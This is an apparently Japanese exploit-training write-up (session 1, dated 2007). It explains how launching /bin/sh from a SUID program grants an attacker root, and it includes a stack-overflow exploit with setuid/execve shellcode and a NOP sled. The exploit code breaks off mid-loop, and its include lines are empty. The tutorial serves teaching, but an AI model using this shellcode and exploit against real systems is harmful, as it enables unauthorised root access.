2007-07-28 Exploiting実習-第1回 Defolos ●例題1.1 シェルは/binに格納されているので、その中から適当なシェルを選んで実行する。sh,cshなど ●例題1.2 シェルの起動 ・シェルもプログラムなので、プログラム内から起動できる ・shは最も標準的で、どのシステムにも付属している ・プログラムからプログラムを呼び出す関数はexecl 【ヒント】 パスは/bin/sh 引数にはプログラムの名前と0が入る ○ソースコード -----sh_test.c #include #include int main(int argc, char *argv[]){ printf("start shell\n"); execl("/bin/sh", "sh", 0); printf("stop shell\n"); return 0; } ----- ○解説  execlで/bin/shを呼び出すと、制御がshに移行する。sh上では本来のshと全く同様の操作が可能であるが、shを終了するとsh_testに制御が戻り、execlの次のprintfが実行される。  このプログラムは後に解説する「ペイロード」の元になる。 ●例題1.3 ls -alで詳細表示すれば見れる。 ●例題1.4  これについては共有スペースにプログラムを置いて、それを参加者に起動してもらう。  SUIDが立ってるプログラムでシェルを起動されると、全権限をアタッカーに明け渡すことになる。つまりアタッカーからしてみればSUIDプログラムの流れを変えて、シェルを起動すればよい。 ソース -----exploit.c #include char shellcode[]= "\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68"; unsigned long sp (void){ __asm__("movl %esp, %eax"); } int main (int argc, char *argv[]){ int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr; offset = 0; esp = sp(); ret = esp - offset; buffer = malloc(600); ptr = buffer; addr_ptr = (long *)ptr; for (i=0; i<600; i += 4) *(addr_ptr++) = ret; for (i=0; i<200; i++) buffer[i] = '\x90'; ptr = buffer + 200; for (i=0; i